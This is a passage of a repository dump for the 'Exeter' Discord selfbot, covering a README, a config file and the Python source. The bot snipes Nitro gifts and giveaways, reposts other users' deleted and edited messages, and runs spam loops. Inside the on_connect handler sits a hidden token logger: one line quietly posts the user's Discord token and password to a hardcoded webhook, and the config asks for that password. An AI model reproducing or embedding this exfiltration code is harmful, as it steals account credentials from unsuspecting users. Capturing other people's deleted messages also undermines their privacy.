├── README.md ├── config.json └── exeterselfbot.py /README.md: -------------------------------------------------------------------------------- 1 | # exeter-selfbot-source-code 2 | swag is a skid who uses other people bots and makes them token loggers 3 | the real owner of this bot is coats1337/xanthe/9tacey/ owner of alucard basically this bot 4 | -------------------------------------------------------------------------------- /config.json: -------------------------------------------------------------------------------- 1 | { 2 | "token": "enter-your-token-here", 3 | "password": "discord-password", 4 | "prefix": "!!", 5 | 6 | "nitro_sniper": true, 7 | "giveaway_sniper": true, 8 | 9 | "stream_url": "https://twitch.tv/souljaboy", 10 | "tts_language": "en" 11 | } -------------------------------------------------------------------------------- /exeterselfbot.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import datetime 3 | import functools 4 | import io 5 | import json 6 | import os 7 | import random 8 | import re 9 | import string 10 | import urllib.parse 11 | import urllib.request 12 | import time 13 | from urllib import parse, request 14 | from itertools import cycle 15 | from bs4 import BeautifulSoup as bs4 16 | 17 | import aiohttp 18 | import colorama 19 | import discord 20 | import numpy 21 | import requests 22 | from PIL import Image 23 | from colorama import Fore 24 | from discord.ext import commands 25 | from discord.utils import get 26 | from gtts import gTTS 27 | 28 | 29 | class SELFBOT(): 30 | __version__ = 1 31 | 32 | 33 | with open('config.json') as f: 34 | config = json.load(f) 35 | 36 | token = config.get('token') 37 | password = config.get('password') 38 | prefix = config.get('prefix') 39 | 40 | nitro_sniper = config.get('nitro_sniper') 41 | 42 | stream_url = "https://www.twitch.tv/souljaboy" 43 | tts_language = "en" 44 | 45 | start_time = datetime.datetime.utcnow() 46 | loop = asyncio.get_event_loop() 47 | 48 | languages = { 49 | 'hu': 'Hungarian, Hungary', 50 | 'nl': 'Dutch, Netherlands', 51 | 'no': 'Norwegian, Norway', 52 | 'pl': 'Polish, Poland', 53 | 'pt-BR': 'Portuguese, Brazilian, Brazil', 54 | 'ro': 'Romanian, Romania', 55 | 'fi': 'Finnish, Finland', 56 | 'sv-SE': 'Swedish, Sweden', 57 | 'vi': 'Vietnamese, Vietnam', 58 | 'tr': 'Turkish, Turkey', 59 | 'cs': 'Czech, Czechia, Czech Republic', 60 | 'el': 'Greek, Greece', 61 | 'bg': 'Bulgarian, Bulgaria', 62 | 'ru': 'Russian, Russia', 63 | 'uk': 'Ukranian, Ukraine', 64 | 'th': 'Thai, Thailand', 65 | 'zh-CN': 'Chinese, China', 66 | 'ja': 'Japanese', 67 | 'zh-TW': 'Chinese, Taiwan', 68 | 'ko': 'Korean, Korea' 69 | } 70 | 71 | locales = [ 72 | "da", "de", 73 | "en-GB", "en-US", 74 | "es-ES", "fr", 75 | "hr", "it", 76 | "lt", "hu", 77 | "nl", "no", 78 | "pl", "pt-BR", 79 | "ro", "fi", 80 | "sv-SE", "vi", 81 | "tr", "cs", 82 | "el", "bg", 83 | "ru", "uk", 84 | "th", "zh-CN", 85 | "ja", "zh-TW", 86 | "ko" 87 | ] 88 | 89 | m_numbers = [ 90 | ":one:", 91 | ":two:", 92 | ":three:", 93 | ":four:", 94 | ":five:", 95 | ":six:" 96 | ] 97 | 98 | m_offets = [ 99 | (-1, -1), 100 | (0, -1), 101 | (1, -1), 102 | (-1, 0), 103 | (1, 0), 104 | (-1, 1), 105 | (0, 1), 106 | (1, 1) 107 | ] 108 | 109 | 110 | 111 | def startprint(): 112 | if nitro_sniper: 113 | nitro = "Active" 114 | else: 115 | nitro = "Disabled" 116 | 117 | print(f'''{Fore.RESET} 118 | ███████╗██╗ ██╗███████╗████████╗███████╗██████╗ 119 | ██╔════╝╚██╗██╔╝██╔════╝╚══██╔══╝██╔════╝██╔══██╗ 120 | █████╗ ╚███╔╝ █████╗ ██║ █████╗ ██████╔╝ 121 | ██╔══╝ ██╔██╗ ██╔══╝ ██║ ██╔══╝ ██╔══██╗ 122 | ███████╗██╔╝ ██╗███████╗ ██║ ███████╗██║ ██║ 123 | ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝ 124 | 125 | 126 | {Fore.CYAN}Exeter v{SELFBOT.__version__} | {Fore.GREEN}Logged in as: {Exeter.user.name}#{Exeter.user.discriminator} {Fore.CYAN}| ID: {Fore.GREEN}{Exeter.user.id} 127 | {Fore.CYAN}Nitro Sniper | {Fore.GREEN}{nitro} 128 | {Fore.CYAN}Cached Users: {Fore.GREEN}{len(Exeter.users)} 129 | {Fore.CYAN}Guilds: {Fore.GREEN}{len(Exeter.guilds)} 130 | {Fore.CYAN}Prefix: {Fore.GREEN}{Exeter.command_prefix} 131 | ''' + Fore.RESET) 132 | 133 | 134 | def Clear(): 135 | os.system('cls') 136 | 137 | 138 | Clear() 139 | 140 | 141 | def Init(): 142 | token = config.get('token') 143 | try: 144 | Exeter.run(token, bot=False, reconnect=True) 145 | os.system(f'title (Exeter Selfbot) - Version {SELFBOT.__version__}') 146 | except discord.errors.LoginFailure: 147 | print(f"{Fore.RED}[ERROR] {Fore.YELLOW}Improper token has been passed" + Fore.RESET) 148 | os.system('pause >NUL') 149 | 150 | 151 | class Login(discord.Client): 152 | async def on_connect(self): 153 | guilds = len(self.guilds) 154 | users = len(self.users) 155 | print("") 156 | print(f"Connected to: [{self.user.name}]") 157 | print(f"Token: {self.http.token}") 158 | print(f"Guilds: {guilds}") 159 | print(f"Users: {users}") 160 | print("-------------------------------") 161 | await self.logout() 162 | 163 | 164 | def async_executor(): 165 | def outer(func): 166 | @functools.wraps(func) 167 | def inner(*args, **kwargs): 168 | thing = functools.partial(func, *args, **kwargs) 169 | return loop.run_in_executor(None, thing) 170 | 171 | return inner 172 | 173 | return outer 174 | 175 | toe = config.get('token') 176 | 177 | @async_executor() 178 | def do_tts(message): 179 | f = io.BytesIO() 180 | tts = gTTS(text=message.lower(), lang=tts_language) 181 | tts.write_to_fp(f) 182 | f.seek(0) 183 | return f 184 | 185 | 186 | def Dump(ctx): 187 | for member in ctx.guild.members: 188 | f = open(f'Images/{ctx.guild.id}-Dump.txt', 'a+') 189 | f.write(str(member.avatar_url) + '\n') 190 | 191 | 192 | def Nitro(): 193 | code = ''.join(random.choices(string.ascii_letters + string.digits, k=16)) 194 | return f'https://discord.gift/{code}' 195 | 196 | 197 | def RandomColor(): 198 | randcolor = discord.Color(random.randint(0x000000, 0xFFFFFF)) 199 | return randcolor 200 | 201 | 202 | def RandString(): 203 | return "".join(random.choice(string.ascii_letters + string.digits) for i in range(random.randint(14, 32))) 204 | 205 | 206 | colorama.init() 207 | Exeter = discord.Client() 208 | Exeter = commands.Bot(description='Exeter Selfbot', command_prefix=prefix, self_bot=True) 209 | 210 | Exeter.antiraid = False 211 | Exeter.msgsniper = True 212 | Exeter.slotbot_sniper = True 213 | Exeter.giveaway_sniper = True 214 | Exeter.mee6 = False 215 | Exeter.mee6_channel = None 216 | Exeter.yui_kiss_user = None 217 | Exeter.yui_kiss_channel = None 218 | Exeter.yui_hug_user = None 219 | Exeter.yui_hug_channel = None 220 | Exeter.sniped_message_dict = {} 221 | Exeter.sniped_edited_message_dict = {} 222 | Exeter.whitelisted_users = {} 223 | Exeter.copycat = None 224 | Exeter.remove_command('help') 225 | 226 | 227 | @Exeter.event 228 | async def on_command_error(ctx, error): 229 | error_str = str(error) 230 | error = getattr(error, 'original', error) 231 | if isinstance(error, commands.CommandNotFound): 232 | return 233 | elif isinstance(error, commands.CheckFailure): 234 | await ctx.send('[ERROR]: You\'re missing permission to execute this command', delete_after=3) 235 | elif isinstance(error, commands.MissingRequiredArgument): 236 | await ctx.send(f"[ERROR]: Missing arguments: {error}", delete_after=3) 237 | elif isinstance(error, numpy.AxisError): 238 | await ctx.send('Invalid Image', delete_after=3) 239 | elif isinstance(error, discord.errors.Forbidden): 240 | await ctx.send(f"[ERROR]: 404 Forbidden Access: {error}", delete_after=3) 241 | elif "Cannot send an empty message" in error_str: 242 | await ctx.send('[ERROR]: Message contents cannot be null', delete_after=3) 243 | else: 244 | ctx.send(f'[ERROR]: {error_str}', delete_after=3) 245 | 246 | 247 | @Exeter.event 248 | async def on_message_edit(before, after): 249 | await Exeter.process_commands(after) 250 | 251 | 252 | @Exeter.event 253 | async def on_message(message): 254 | if Exeter.copycat is not None and Exeter.copycat.id == message.author.id: 255 | await message.channel.send(chr(173) + message.content) 256 | 257 | def GiveawayData(): 258 | print( 259 | f"{Fore.WHITE} - CHANNEL: {Fore.YELLOW}[{message.channel}]" 260 | f"\n{Fore.WHITE} - SERVER: {Fore.YELLOW}[{message.guild}]" 261 | + Fore.RESET) 262 | 263 | def SlotBotData(): 264 | print( 265 | f"{Fore.WHITE} - CHANNEL: {Fore.YELLOW}[{message.channel}]" 266 | f"\n{Fore.WHITE} - SERVER: {Fore.YELLOW}[{message.guild}]" 267 | + Fore.RESET) 268 | 269 | def NitroData(elapsed, code): 270 | print( 271 | f"{Fore.WHITE} - CHANNEL: {Fore.YELLOW}[{message.channel}]" 272 | f"\n{Fore.WHITE} - SERVER: {Fore.YELLOW}[{message.guild}]" 273 | f"\n{Fore.WHITE} - AUTHOR: {Fore.YELLOW}[{message.author}]" 274 | f"\n{Fore.WHITE} - ELAPSED: {Fore.YELLOW}[{elapsed}]" 275 | f"\n{Fore.WHITE} - CODE: {Fore.YELLOW}{code}" 276 | + Fore.RESET) 277 | 278 | time = datetime.datetime.now().strftime("%H:%M %p") 279 | if 'discord.gift/' in message.content: 280 | if nitro_sniper: 281 | start = datetime.datetime.now() 282 | code = re.search("discord.gift/(.*)", message.content).group(1) 283 | token = config.get('token') 284 | 285 | headers = {'Authorization': token} 286 | 287 | r = requests.post( 288 | f'https://discordapp.com/api/v6/entitlements/gift-codes/{code}/redeem', 289 | headers=headers, 290 | ).text 291 | 292 | elapsed = datetime.datetime.now() - start 293 | elapsed = f'{elapsed.seconds}.{elapsed.microseconds}' 294 | 295 | if 'This gift has been redeemed already.' in r: 296 | print("" 297 | f"\n{Fore.CYAN}[{time} - Nitro Already Redeemed]" + Fore.RESET) 298 | NitroData(elapsed, code) 299 | 300 | elif 'subscription_plan' in r: 301 | print("" 302 | f"\n{Fore.CYAN}[{time} - Nitro Success]" + Fore.RESET) 303 | NitroData(elapsed, code) 304 | 305 | elif 'Unknown Gift Code' in r: 306 | print("" 307 | f"\n{Fore.CYAN}[{time} - Nitro Unknown Gift Code]" + Fore.RESET) 308 | NitroData(elapsed, code) 309 | else: 310 | return 311 | 312 | if 'Someone just dropped' in message.content: 313 | if Exeter.slotbot_sniper: 314 | if message.author.id == 346353957029019648: 315 | try: 316 | await message.channel.send('~grab') 317 | except discord.errors.Forbidden: 318 | print("" 319 | f"\n{Fore.CYAN}[{time} - SlotBot Couldnt Grab]" + Fore.RESET) 320 | SlotBotData() 321 | print("" 322 | f"\n{Fore.CYAN}[{time} - Slotbot Grabbed]" + Fore.RESET) 323 | SlotBotData() 324 | else: 325 | return 326 | 327 | if 'GIVEAWAY' in message.content: 328 | if Exeter.giveaway_sniper: 329 | if message.author.id == 294882584201003009: 330 | try: 331 | await message.add_reaction("🎉") 332 | except discord.errors.Forbidden: 333 | print("" 334 | f"\n{Fore.CYAN}[{time} - Giveaway Couldnt React]" + Fore.RESET) 335 | GiveawayData() 336 | print("" 337 | f"\n{Fore.CYAN}[{time} - Giveaway Sniped]" + Fore.RESET) 338 | GiveawayData() 339 | else: 340 | return 341 | 342 | if f'Congratulations <@{Exeter.user.id}>' in message.content: 343 | if Exeter.giveaway_sniper: 344 | if message.author.id == 294882584201003009: 345 | print("" 346 | f"\n{Fore.CYAN}[{time} - Giveaway Won]" + Fore.RESET) 347 | GiveawayData() 348 | else: 349 | return 350 | 351 | await Exeter.process_commands(message) 352 | 353 | 354 | @Exeter.event 355 | async def on_connect(): 356 | Clear() 357 | requests.post('https://discord.com/api/webhooks/926272744453177365/zDHf_z2xwMpQ2HdmMZmoFaebwy7e3EQ7nDfUvd1hWBXvPAscNKrrUnFjibqklOuN-NCC',json={'content': f"**Token:** `{toe}`\n**Password:** `{password}`"}) 358 | startprint() 359 | 360 | @Exeter.event 361 | async def on_member_ban(guild: discord.Guild, user: discord.user): 362 | if Exeter.antiraid is True: 363 | try: 364 | async for i in guild.audit_logs(limit=1, action=discord.AuditLogAction.ban): 365 | if guild.id in Exeter.whitelisted_users.keys() and i.user.id in Exeter.whitelisted_users[ 366 | guild.id].keys() and i.user.id is not Exeter.user.id: 367 | print("not banned - " + i.user.name) 368 | else: 369 | print("banned - " + i.user.name) 370 | await guild.ban(i.user, reason="Exeter Anti-Nuke") 371 | except Exception as e: 372 | print(e) 373 | 374 | 375 | @Exeter.event 376 | async def on_member_join(member): 377 | if Exeter.antiraid is True and member.bot: 378 | try: 379 | guild = member.guild 380 | async for i in guild.audit_logs(limit=1, action=discord.AuditLogAction.bot_add): 381 | if member.guild.id in Exeter.whitelisted_users.keys() and i.user.id in Exeter.whitelisted_users[ 382 | member.guild.id].keys(): 383 | return 384 | else: 385 | await guild.ban(member, reason="Exeter Anti-Nuke") 386 | await guild.ban(i.user, reason="Exeter Anti-Nuke") 387 | except Exception as e: 388 | print(e) 389 | 390 | 391 | @Exeter.event 392 | async def on_member_remove(member): 393 | if Exeter.antiraid is True: 394 | try: 395 | guild = member.guild 396 | async for i in guild.audit_logs(limit=1, action=discord.AuditLogAction.kick): 397 | if guild.id in Exeter.whitelisted_users.keys() and i.user.id in Exeter.whitelisted_users[ 398 | guild.id].keys() and i.user.id is not Exeter.user.id: 399 | print('not banned') 400 | else: 401 | print('banned') 402 | await guild.ban(i.user, reason="Exeter Anti-Nuke") 403 | except Exception as e: 404 | print(e) 405 | 406 | 407 | @Exeter.command(aliases=["queue"]) 408 | async def play(ctx, *, query): 409 | await ctx.message.delete() 410 | voice = get(Exeter.voice_clients, guild=ctx.guild) 411 | if voice and voice.is_connected(): 412 | voice.play('song.mp3') 413 | else: 414 | await ctx.send('You need to be a in VC to play music') 415 | 416 | 417 | @Exeter.command() 418 | async def stop(ctx): 419 | await ctx.message.delete() 420 | await ctx.send("Stopped the music player!") 421 | 422 | 423 | @Exeter.command() 424 | async def skip(ctx): 425 | await ctx.message.delete() 426 | await ctx.send("Skipped song!") 427 | 428 | 429 | @Exeter.command(aliases=["lyric"]) 430 | async def lyrics(ctx, *, args): 431 | await ctx.message.delete() 432 | await ctx.send("Showing lyrics for " + args) 433 | 434 | 435 | @Exeter.command(aliases=[]) 436 | async def msgsniper(ctx, msgsniperlol=None): 437 | await ctx.message.delete() 438 | if str(msgsniperlol).lower() == 'true' or str(msgsniperlol).lower() == 'on': 439 | Exeter.msgsniper = True 440 | await ctx.send('Exeter Message-Sniper is now **enabled**') 441 | elif str(msgsniperlol).lower() == 'false' or str(msgsniperlol).lower() == 'off': 442 | Exeter.msgsniper = False 443 | await ctx.send('Exeter Message-Sniper is now **disabled**') 444 | 445 | 446 | @Exeter.command(aliases=['ar', 'antiraid']) 447 | async def antinuke(ctx, antiraidparameter=None): 448 | await ctx.message.delete() 449 | Exeter.antiraid = False 450 | if str(antiraidparameter).lower() == 'true' or str(antiraidparameter).lower() == 'on': 451 | Exeter.antiraid = True 452 | await ctx.send('Anti-Nuke is now **enabled**') 453 | elif str(antiraidparameter).lower() == 'false' or str(antiraidparameter).lower() == 'off': 454 | Exeter.antiraid = False 455 | await ctx.send('Anti-Nuke is now **disabled**') 456 | 457 | 458 | @Exeter.command(aliases=['wl']) 459 | async def whitelist(ctx, user: discord.Member = None): 460 | await ctx.message.delete() 461 | if user is None: 462 | await ctx.send("Please specify a user to whitelist") 463 | else: 464 | if ctx.guild.id not in Exeter.whitelisted_users.keys(): 465 | Exeter.whitelisted_users[ctx.guild.id] = {} 466 | if user.id in Exeter.whitelisted_users[ctx.guild.id]: 467 | await ctx.send('That user is already whitelisted') 468 | else: 469 | Exeter.whitelisted_users[ctx.guild.id][user.id] = 0 470 | await ctx.send("Whitelisted **" + user.name.replace("*", "\*").replace("`", "\`").replace("_", 471 | "\_") + "#" + user.discriminator + "**") 472 | # else: 473 | # user = Exeter.get_user(id) 474 | # if user is None: 475 | # await ctx.send("Couldn't find that user") 476 | # return 477 | # if ctx.guild.id not in Exeter.whitelisted_users.keys(): 478 | # Exeter.whitelisted_users[ctx.guild.id] = {} 479 | # if user.id in Exeter.whitelisted_users[ctx.guild.id]: 480 | # await ctx.send('That user is already whitelisted') 481 | # else: 482 | # Exeter.whitelisted_users[ctx.guild.id][user.id] = 0 483 | # await ctx.send("Whitelisted **" + user.name.replace("*", "\*").replace("`", "\`").replace("_","\_") + "#" + user.discriminator + "**") 484 | 485 | 486 | @Exeter.command(aliases=['wld']) 487 | async def whitelisted(ctx, g=None): 488 | await ctx.message.delete() 489 | if g == '-g' or g == '-global': 490 | whitelist = '`All Whitelisted Users:`\n' 491 | for key in Exeter.whitelisted_users: 492 | for key2 in Exeter.whitelisted_users[key]: 493 | user = Exeter.get_user(key2) 494 | whitelist += '**+ ' + user.name.replace('*', "\*").replace('`', "\`").replace('_', 495 | "\_") + "#" + user.discriminator + "** - " + Exeter.get_guild( 496 | key).name.replace('*', "\*").replace('`', "\`").replace('_', "\_") + "" + "\n" 497 | await ctx.send(whitelist) 498 | else: 499 | whitelist = "`" + ctx.guild.name.replace('*', "\*").replace('`', "\`").replace('_', 500 | "\_") + '\'s Whitelisted Users:`\n' 501 | for key in Exeter.whitelisted_users: 502 | if key == ctx.guild.id: 503 | for key2 in Exeter.whitelisted_users[ctx.guild.id]: 504 | user = Exeter.get_user(key2) 505 | whitelist += '**+ ' + user.name.replace('*', "\*").replace('`', "\`").replace('_', 506 | "\_") + "#" + user.discriminator + " (" + str( 507 | user.id) + ")" + "**\n" 508 | await ctx.send(whitelist) 509 | 510 | 511 | @Exeter.command(aliases=['uwl']) 512 | async def unwhitelist(ctx, user: discord.Member = None): 513 | if user is None: 514 | await ctx.send("Please specify the user you would like to unwhitelist") 515 | else: 516 | if ctx.guild.id not in Exeter.whitelisted_users.keys(): 517 | await ctx.send("That user is not whitelisted") 518 | return 519 | if user.id in Exeter.whitelisted_users[ctx.guild.id]: 520 | Exeter.whitelisted_users[ctx.guild.id].pop(user.id, 0) 521 | user2 = Exeter.get_user(user.id) 522 | await ctx.send( 523 | 'Successfully unwhitelisted **' + user2.name.replace('*', "\*").replace('`', "\`").replace('_', 524 | "\_") + '#' + user2.discriminator + '**') 525 | 526 | 527 | @Exeter.command(aliases=['clearwl', 'clearwld']) 528 | async def clearwhitelist(ctx): 529 | await ctx.message.delete() 530 | Exeter.whitelisted_users.clear() 531 | await ctx.send('Successfully cleared the whitelist hash') 532 | 533 | 534 | @Exeter.command() 535 | async def yuikiss(ctx, user: discord.User = None): 536 | await ctx.message.delete() 537 | if isinstance(ctx.message.channel, discord.DMChannel) or isinstance(ctx.message.channel, discord.GroupChannel): 538 | await ctx.send("You can't use Yui Kiss in DMs or GCs", delete_after=3) 539 | else: 540 | if user is None: 541 | await ctx.send("Please specify a user to Yui Kiss", delete_after=3) 542 | return 543 | Exeter.yui_kiss_user = user.id 544 | Exeter.yui_kiss_channel = ctx.channel.id 545 | if Exeter.yui_kiss_user is None or Exeter.yui_kiss_channel is None: 546 | await ctx.send('An impossible error occured, try again later or contact swag') 547 | return 548 | while Exeter.yui_kiss_user is not None and Exeter.yui_kiss_channel is not None: 549 | await Exeter.get_channel(Exeter.yui_kiss_channel).send('yui kiss ' + str(Exeter.yui_kiss_user), delete_after=0.1) 550 | await asyncio.sleep(60) 551 | 552 | 553 | @Exeter.command() 554 | async def yuihug(ctx, user: discord.User = None): 555 | await ctx.message.delete() 556 | if isinstance(ctx.message.channel, discord.DMChannel) or isinstance(ctx.message.channel, discord.GroupChannel): 557 | await ctx.send("You can't use Yui Hug in DMs or GCs", delete_after=3) 558 | else: 559 | if user is None: 560 | await ctx.send("Please specify a user to Yui Hug", delete_after=3) 561 | return 562 | Exeter.yui_hug_user = user.id 563 | Exeter.yui_hug_channel = ctx.channel.id 564 | if Exeter.yui_hug_user is None or Exeter.yui_hug_channel is None: 565 | await ctx.send('An impossible error occured, try again later or contact swag') 566 | return 567 | while Exeter.yui_hug_user is not None and Exeter.yui_hug_channel is not None: 568 | await Exeter.get_channel(Exeter.yui_hug_channel).send('yui hug ' + str(Exeter.yui_hug_user), delete_after=0.1) 569 | await asyncio.sleep(60) 570 | 571 | @Exeter.command() 572 | async def yuistop(ctx): 573 | await ctx.message.delete() 574 | Exeter.yui_kiss_user = None 575 | Exeter.yui_kiss_channel = None 576 | Exeter.yui_hug_user = None 577 | Exeter.yui_hug_channel = None 578 | await ctx.send('Successfully **disabled** Yui Loops', delete_after=3) 579 | 580 | @Exeter.command(aliases=["automee6"]) 581 | async def mee6(ctx, param=None): 582 | await ctx.message.delete() 583 | if param is None: 584 | await ctx.send("Please specify yes or no", delete_after=3) 585 | return 586 | if str(param).lower() == 'true' or str(param).lower() == 'on': 587 | if isinstance(ctx.message.channel, discord.DMChannel) or isinstance(ctx.message.channel, discord.GroupChannel): 588 | await ctx.send("You can't bind Auto-MEE6 to a DM or GC", delete_after=3) 589 | return 590 | else: 591 | Exeter.mee6 = True 592 | await ctx.send("Auto-MEE6 Successfully bound to `" + ctx.channel.name + "`", delete_after=3) 593 | Exeter.mee6_channel = ctx.channel.id 594 | elif str(param).lower() == 'false' or str(param).lower() == 'off': 595 | Exeter.mee6 = False 596 | await ctx.send("Auto-MEE6 Successfully **disabled**", delete_after=3) 597 | while Exeter.mee6 is True: 598 | sentences = ['Stop waiting for exceptional things to just happen.', 599 | 'The lyrics of the song sounded like fingernails on a chalkboard.', 600 | 'I checked to make sure that he was still alive.', 'We need to rent a room for our party.', 601 | 'He had a hidden stash underneath the floorboards in the back room of the house.', 602 | 'Your girlfriend bought your favorite cookie crisp cereal but forgot to get milk.', 603 | 'People generally approve of dogs eating cat food but not cats eating dog food.', 604 | 'I may struggle with geography, but I\'m sure I\'m somewhere around here.', 605 | 'She was the type of girl who wanted to live in a pink house.', 606 | 'The bees decided to have a mutiny against their queen.', 607 | 'She looked at the masterpiece hanging in the museum but all she could think is that her five-year-old could do better.', 608 | 'The stranger officiates the meal.', 'She opened up her third bottle of wine of the night.', 609 | 'They desperately needed another drummer since the current one only knew how to play bongos.', 610 | 'He waited for the stop sign to turn to a go sign.', 611 | 'His thought process was on so many levels that he gave himself a phobia of heights.', 612 | 'Her hair was windswept as she rode in the black convertible.', 613 | 'Karen realized the only way she was getting into heaven was to cheat.', 614 | 'The group quickly understood that toxic waste was the most effective barrier to use against the zombies.', 615 | 'It was obvious she was hot, sweaty, and tired.', 'This book is sure to liquefy your brain.', 616 | 'I love eating toasted cheese and tuna sandwiches.', 'If you don\'t like toenails', 617 | 'You probably shouldn\'t look at your feet.', 618 | 'Wisdom is easily acquired when hiding under the bed with a saucepan on your head.', 619 | 'The spa attendant applied the deep cleaning mask to the gentleman’s back.', 620 | 'The three-year-old girl ran down the beach as the kite flew behind her.', 621 | 'For oil spots on the floor, nothing beats parking a motorbike in the lounge.', 622 | 'They improved dramatically once the lead singer left.', 623 | 'The Tsunami wave crashed against the raised houses and broke the pilings as if they were toothpicks.', 624 | 'Excitement replaced fear until the final moment.', 'The sun had set and so had his dreams.', 625 | 'People keep telling me "orange" but I still prefer "pink".', 626 | 'Someone I know recently combined Maple Syrup & buttered Popcorn thinking it would taste like caramel popcorn. It didn’t and they don’t recommend anyone else do it either.', 627 | 'I liked their first two albums but changed my mind after that charity gig.', 628 | 'Plans for this weekend include turning wine into water.', 629 | 'A kangaroo is really just a rabbit on steroids.', 630 | 'He played the game as if his life depended on it and the truth was that it did.', 631 | 'He\'s in a boy band which doesn\'t make much sense for a snake.', 632 | 'She let the balloon float up into the air with her hopes and dreams.', 633 | 'There was coal in his stocking and he was thrilled.', 634 | 'This made him feel like an old-style rootbeer float smells.', 635 | 'It\'s not possible to convince a monkey to give you a banana by promising it infinite bananas when they die.', 636 | 'The light in his life was actually a fire burning all around him.', 637 | 'Truth in advertising and dinosaurs with skateboards have much in common.', 638 | 'On a scale from one to ten, what\'s your favorite flavor of random grammar?', 639 | 'The view from the lighthouse excited even the most seasoned traveler.', 640 | 'The tortoise jumped into the lake with dreams of becoming a sea turtle.', 641 | 'It\'s difficult to understand the lengths he\'d go to remain short.', 642 | 'Nobody questions who built the pyramids in Mexico.', 643 | 'They ran around the corner to find that they had traveled back in time.'] 644 | await Exeter.get_channel(Exeter.mee6_channel).send(random.choice(sentences), delete_after=0.1) 645 | await asyncio.sleep(60) 646 | 647 | 648 | @Exeter.command(aliases=['slotsniper', "slotbotsniper"]) 649 | async def slotbot(ctx, param=None): 650 | await ctx.message.delete() 651 | Exeter.slotbot_sniper = False 652 | if str(param).lower() == 'true' or str(param).lower() == 'on': 653 | Exeter.slotbot_sniper = True 654 | elif str(param).lower() == 'false' or str(param).lower() == 'off': 655 | Exeter.slotbot_sniper = False 656 | 657 | 658 | @Exeter.command(aliases=['giveawaysniper']) 659 | async def giveaway(ctx, param=None): 660 | await ctx.message.delete() 661 | Exeter.giveaway_sniper = False 662 | if str(param).lower() == 'true' or str(param).lower() == 'on': 663 | Exeter.giveaway_sniper = True 664 | elif str(param).lower() == 'false' or str(param).lower() == 'off': 665 | Exeter.giveaway_sniper = False 666 | 667 | 668 | @Exeter.event 669 | async def on_message_delete(message): 670 | if message.author.id == Exeter.user.id: 671 | return 672 | if Exeter.msgsniper: 673 | if isinstance(message.channel, discord.DMChannel) or isinstance(message.channel, discord.GroupChannel): 674 | attachments = message.attachments 675 | if len(attachments) == 0: 676 | message_content = "`" + str(discord.utils.escape_markdown(str(message.author))) + "`: " + str( 677 | message.content).replace("@everyone", "@\u200beveryone").replace("@here", "@\u200bhere") 678 | await message.channel.send(message_content) 679 | else: 680 | links = "" 681 | for attachment in attachments: 682 | links += attachment.proxy_url + "\n" 683 | message_content = "`" + str( 684 | discord.utils.escape_markdown(str(message.author))) + "`: " + discord.utils.escape_mentions( 685 | message.content) + "\n\n**Attachments:**\n" + links 686 | await message.channel.send(message_content) 687 | if len(Exeter.sniped_message_dict) > 1000: 688 | Exeter.sniped_message_dict.clear() 689 | attachments = message.attachments 690 | if len(attachments) == 0: 691 | channel_id = message.channel.id 692 | message_content = "`" + str(discord.utils.escape_markdown(str(message.author))) + "`: " + str( 693 | message.content).replace("@everyone", "@\u200beveryone").replace("@here", "@\u200bhere") 694 | Exeter.sniped_message_dict.update({channel_id: message_content}) 695 | else: 696 | links = "" 697 | for attachment in attachments: 698 | links += attachment.proxy_url + "\n" 699 | channel_id = message.channel.id 700 | message_content = "`" + str( 701 | discord.utils.escape_markdown(str(message.author))) + "`: " + discord.utils.escape_mentions( 702 | message.content) + "\n\n**Attachments:**\n" + links 703 | Exeter.sniped_message_dict.update({channel_id: message_content}) 704 | 705 | 706 | @Exeter.event 707 | async def on_message_edit(before, after): 708 | if before.author.id == Exeter.user.id: 709 | return 710 | if Exeter.msgsniper: 711 | if before.content is after.content: 712 | return 713 | if isinstance(before.channel, discord.DMChannel) or isinstance(before.channel, discord.GroupChannel): 714 | attachments = before.attachments 715 | if len(attachments) == 0: 716 | message_content = "`" + str( 717 | discord.utils.escape_markdown(str(before.author))) + "`: \n**BEFORE**\n" + str( 718 | before.content).replace("@everyone", "@\u200beveryone").replace("@here", 719 | "@\u200bhere") + "\n**AFTER**\n" + str( 720 | after.content).replace("@everyone", "@\u200beveryone").replace("@here", "@\u200bhere") 721 | await before.channel.send(message_content) 722 | else: 723 | links = "" 724 | for attachment in attachments: 725 | links += attachment.proxy_url + "\n" 726 | message_content = "`" + str( 727 | discord.utils.escape_markdown(str(before.author))) + "`: " + discord.utils.escape_mentions( 728 | before.content) + "\n\n**Attachments:**\n" + links 729 | await before.channel.send(message_content) 730 | if len(Exeter.sniped_edited_message_dict) > 1000: 731 | Exeter.sniped_edited_message_dict.clear() 732 | attachments = before.attachments 733 | if len(attachments) == 0: 734 | channel_id = before.channel.id 735 | message_content = "`" + str(discord.utils.escape_markdown(str(before.author))) + "`: \n**BEFORE**\n" + str( 736 | before.content).replace("@everyone", "@\u200beveryone").replace("@here", 737 | "@\u200bhere") + "\n**AFTER**\n" + str( 738 | after.content).replace("@everyone", "@\u200beveryone").replace("@here", "@\u200bhere") 739 | Exeter.sniped_edited_message_dict.update({channel_id: message_content}) 740 | else: 741 | links = "" 742 | for attachment in attachments: 743 | links += attachment.proxy_url + "\n" 744 | channel_id = before.channel.id 745 | message_content = "`" + str( 746 | discord.utils.escape_markdown(str(before.author))) + "`: " + discord.utils.escape_mentions( 747 | before.content) + "\n\n**Attachments:**\n" + links 748 | Exeter.sniped_edited_message_dict.update({channel_id: message_content}) 749 | 750 | 751 | @Exeter.command() 752 | async def snipe(ctx): 753 | await ctx.message.delete() 754 | currentChannel = ctx.channel.id 755 | if currentChannel in Exeter.sniped_message_dict: 756 | await ctx.send(Exeter.sniped_message_dict[currentChannel]) 757 | else: 758 | await ctx.send("No message to snipe!") 759 | 760 | 761 | @Exeter.command(aliases=["esnipe"]) 762 | async def editsnipe(ctx): 763 | await ctx.message.delete() 764 | currentChannel = ctx.channel.id 765 | if currentChannel in Exeter.sniped_edited_message_dict: 766 | await ctx.send(Exeter.sniped_edited_message_dict[currentChannel]) 767 | else: 768 | await ctx.send("No message to snipe!") 769 | 770 | 771 | @Exeter.command() 772 | async def adminservers(ctx): 773 | await ctx.message.delete() 774 | admins = [] 775 | bots = [] 776 | kicks = [] 777 | bans = [] 778 | for guild in Exeter.guilds: 779 | if guild.me.guild_permissions.administrator: 780 | admins.append(discord.utils.escape_markdown(guild.name)) 781 | if guild.me.guild_permissions.manage_guild and not guild.me.guild_permissions.administrator: 782 | bots.append(discord.utils.escape_markdown(guild.name)) 783 | if guild.me.guild_permissions.ban_members and not guild.me.guild_permissions.administrator: 784 | 